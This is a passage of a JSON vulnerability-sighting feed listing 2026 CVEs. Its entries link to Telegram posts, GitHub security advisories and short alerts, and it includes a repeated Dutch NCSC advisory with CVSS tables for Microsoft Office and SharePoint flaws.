"Telegram/BCI7VnJXXmV-Lqe80VVMpDehODrEO3pQ0iamK17egdwDArY", "content": "", "creation_timestamp": "2026-07-17T00:00:28.915574Z"}, {"uuid": "65b2427f-73bf-4f30-82ff-a27aa8ba0430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "Telegram/TEdnFjEKS3swNxbVpw8DxCu_Qb9xpCKjEBb-BvgmHVTvT6s", "content": "", "creation_timestamp": "2026-07-17T00:00:31.256311Z"}, {"uuid": "0494132b-48c1-4a1b-be92-295ea82d045d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54519", "type": "seen", "source": "Telegram/uxGFUVPy3TOzkodNgeg8vepR-kYpq91Dg5jOn-NGrDlDjCc", "content": "", "creation_timestamp": "2026-07-17T00:00:31.553814Z"}, {"uuid": "a088a44e-6099-4976-8137-e4184b5b2cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "Telegram/uxGFUVPy3TOzkodNgeg8vepR-kYpq91Dg5jOn-NGrDlDjCc", "content": "", "creation_timestamp": "2026-07-17T00:00:31.613981Z"}, {"uuid": "6e54b0f8-f348-4228-8fec-a8c561d43069", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "seen", "source": "Telegram/IYbPLk4ERTEBv3PHVDATQd8EaZ4Sc0OJ99RE8uvxfU7J1W8", "content": "", "creation_timestamp": "2026-07-17T00:00:28.726918Z"}, {"uuid": "e3c24855-e3cd-4550-a7b7-ae1e46cfa0cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "Telegram/Rc0b9T17FJVJElH6QZhazeHK_5sevkoWVsl-YVplQMonaEk", "content": "", "creation_timestamp": "2026-07-17T00:00:35.760127Z"}, {"uuid": "a82ce009-f693-4ef8-a28d-5102bbcf3f41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "Telegram/KAYuHSInUTyY5sd__HqTfJ-t-JAYNMtvmTlSN5y1liuC5CE", "content": "", "creation_timestamp": "2026-07-17T00:00:38.325304Z"}, {"uuid": "46115a8a-6de2-4c1e-867b-a790553e160f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "Telegram/3jycQz5KNEahntijqQf2WU64p6SNtb6OBS8EDKGb5rd5ChI", "content": "", "creation_timestamp": "2026-07-17T00:00:38.439679Z"}, {"uuid": "b7955fe2-6979-479e-959c-e6b7218d3952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "Telegram/cpiqXd7ZGBh_Hd-K40OMQX8onVjmrXicBJVv84gtdkLX7iA", "content": "", "creation_timestamp": "2026-07-17T00:00:38.573281Z"}, {"uuid": "c18c7885-ae9d-4c6e-bbb5-d75084a3a973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "Telegram/W5amUvjZQLp7x5QJxedoGRrfTMixYmkVE9L_7wilXlBm52k", "content": "", "creation_timestamp": "2026-07-17T00:00:38.749073Z"}, {"uuid": "d6340e24-26bb-49a2-94fa-dbed814e5366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "seen", "source": "Telegram/qb_VPVzOZ-t5tkQsHPqjzf9oQcpaZWyf0b6GUkkIlr12jYk", "content": "", "creation_timestamp": "2026-07-17T00:00:47.575695Z"}, {"uuid": "247bbb74-8979-4ca7-96aa-66ae7bf23c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "seen", "source": "Telegram/JMPLlqAJKVKStPUctSi0425VFAAqn_JlP0EBk3HwzAKEQKc", "content": "", "creation_timestamp": "2026-07-17T00:00:47.797960Z"}, {"uuid": "894a7c42-7ff1-4307-92ab-4e6e461648a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54085", "type": "seen", "source": "https://www.acn.gov.it/portale/w/wazuh-disponibili-poc-per-le-cve-2026-54083-e-cve-2026-61800", "content": "", "creation_timestamp": "2026-08-28T12:45:35.321598Z"}, {"uuid": "1ceaee6b-b0db-4344-b6e7-60b8d87ec128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93666", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54992-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DavidCarliez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 09:49:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of concept for CVE-2026-54992, an MSMQ remote-read integer overflow\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T00:00:55.459356Z"}, {"uuid": "95274199-9242-450b-a94c-740991127fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54591", "type": "seen", "source": "https://bsky.app/profile/thestandup.bsky.social/post/3mtyqeofowg25", "content": "asyncssh 2.23.1 fixes CVE-2026-54591: the SCP receive path does not sanitize server-provided filenames, so a malicious SSH server can chain \"../\" through the D directory action and write outside the target directory. Same class as OpenSSH's CVE-2019-6111. #dev", "creation_timestamp": "2026-08-26T16:19:28.033476Z"}, {"uuid": "575765d1-bdeb-4e43-8cc6-64b7cbcee5e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54591", "type": "published-proof-of-concept", "source": "https://github.com/ronf/asyncssh/security/advisories/GHSA-2wxc-x7rj-hg8f", "content": "", "creation_timestamp": "2026-08-26T16:35:03.563902Z"}, {"uuid": "7ab80b90-a611-4233-8127-52bcd99925f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54469", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqtfkquhfa27", "content": "\ud83d\udccc CVE-2026-54469 - Dell Unisphere for PowerMax, version(s) 10.3.0.5 and prior, contain(s) a Deserialization of Untrusted Data vulnerability. A low privileged attacker wi... https://www.cyberhub.blog/cves/CVE-2026-54469", "creation_timestamp": "2026-07-17T09:07:10.389566Z"}, {"uuid": "c27fbdf9-19c4-44d6-ac72-d06298c01551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54569", "type": "published-proof-of-concept", "source": "https://github.com/senaite/senaite.core/security/advisories/GHSA-jrw6-7x4q-w25j", "content": "", "creation_timestamp": "2026-08-26T16:35:06.033833Z"}, {"uuid": "cf2ef3ed-fbd5-4e23-94aa-162f08615510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nUPDATE: \nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-17T10:00:44.658953Z"}, {"uuid": "50303f06-1c0b-4433-b00b-52fcbbcc951b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54606", "type": "published-proof-of-concept", "source": "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7", "content": "", "creation_timestamp": "2026-08-26T16:35:08.305061Z"}, {"uuid": "c396090d-ca34-4a0c-bb70-05547ec30a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54563", "type": "published-proof-of-concept", "source": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp", "content": "", "creation_timestamp": "2026-08-26T16:35:10.977252Z"}, {"uuid": "f8815949-6b74-4721-b0e8-f6f98503c9e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54550", "type": "published-proof-of-concept", "source": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9", "content": "", "creation_timestamp": "2026-08-26T16:35:15.899116Z"}, {"uuid": "d92cb8a1-def5-4c45-9901-ad1c5faf4e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54523", "type": "published-proof-of-concept", "source": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9", "content": "", "creation_timestamp": "2026-08-26T16:35:18.156190Z"}, {"uuid": "d4bf5cc2-1127-4332-b867-34e04d26391c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nUPDATE: \nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | 